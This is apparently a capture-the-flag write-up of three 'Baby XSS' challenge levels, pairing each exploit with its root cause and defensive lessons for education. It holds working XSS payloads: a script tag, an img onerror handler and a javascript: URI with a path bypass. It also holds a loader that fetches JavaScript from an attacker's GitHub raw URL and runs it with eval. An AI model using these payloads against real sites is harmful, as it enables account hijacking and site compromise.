Baby XSS Challenge – Levels 1 to 3 (Detailed Analysis)
This document is based on an analysis of the official Baby XSS Challenge PDFs
and documents Levels 1–3 with root causes, exploitation paths, and defensive lessons.
Challenges analyzed:
- Baby XSS 01
- Baby XSS 02
- Baby XSS 03 (including two distinct exploitation paths)
For learning and defensive security purposes only.
Level 1 – Baby XSS 01 (Reflected XSS)
Overview
The application provides a simple input field.
The backend directly echoes user input into the HTML output without any escaping.
<?php
echo $_GET["payload"];
?>
Vulnerability Type
Reflected XSS
Root Cause
- No output encoding
- Full trust in user-controlled input
Exploitation
Injected HTML is interpreted and executed by the browser.
Example Payload
<script>
alert("XSS");
</script>
Why It Works
The browser parses the injected <script> tag as executable JavaScript.
Defensive Takeaway
- Always escape output (
htmlspecialchars, templating engines) - Never render raw user input
Level 2 – Baby XSS 02 (DOM-Based XSS)
Overview
There is no visible input field.
JavaScript reads data from window.location.hash and injects it into the DOM.
var q = location.hash.substring(1);
query.innerHTML = `Hello ${decodeURI(q)}`;
Vulnerability Type
DOM-Based XSS
Root Cause
- Use of
innerHTML - User-controlled data from URL hash
decodeURI()does not sanitize HTML
Exploitation Logic
Although <script> tags are blocked, HTML attributes can still execute JavaScript.
Example Payload (URL)
#<img src="x" onerror="alert('XSS')" />
Why It Works
innerHTMLparses injected HTML- Event handlers (
onerror) execute JavaScript
Defensive Takeaway
- Never use
innerHTMLwith untrusted input - Prefer
textContent - Sanitize DOM input
Level 3 – Baby XSS 03 (Two Exploitation Paths)
Overview
The application accepts a URL as input and generates three links:
/friends/post/settings
The backend escapes HTML using htmlspecialchars().
$escaped = htmlspecialchars($_GET['payload']);
Vulnerability Type
Context-based XSS
Exploitation Path 1 – javascript: URI Injection
Root Cause
- HTML escaping is applied
- Protocol validation is missing
hrefattributes allow executable schemes
Exploit Logic
Even without HTML tags, JavaScript can be executed via the href attribute.
Payload
javascript:alert('XSS');
Path Issue & Bypass
The application appends paths like /friends, breaking JavaScript execution.
Final Working Payload
javascript:alert('XSS');/
Why It Works
- Browsers execute
javascript:URLs - The trailing
/turns appended paths into comments
Defensive Takeaway
- Enforce protocol allowlists (
https://only) - Never allow
javascript:URIs
Exploitation Path 2 – External Script Injection (Advanced)
Root Cause
- A script is loaded from a non-existing external source
- No integrity or origin validation
Exploit Logic
An attacker hosts a malicious JavaScript file externally (e.g., GitHub RAW) and injects a small loader payload.
Loader Payload Example
fetch("https://raw.githubusercontent.com/attacker/repo/main/payload.js")
.then((r) => r.text())
.then((code) => eval(code));
Why This Is Dangerous
- Large payloads can be modified remotely
- Injection only needs to happen once
- Harder to detect and remove
Defensive Takeaway
- Use Subresource Integrity (SRI)
- Restrict script sources via CSP
- Never load scripts dynamically from user input
Global Security Lessons
- Escaping alone is not enough – context matters
- Validate where input is used (HTML, JS, URL, DOM)
- Avoid dangerous sinks (
innerHTML,eval, inline JS) - Use Content Security Policy (CSP)
- Treat URLs and hashes as untrusted input
This document is intended for ethical hacking education, secure development training, and defensive awareness.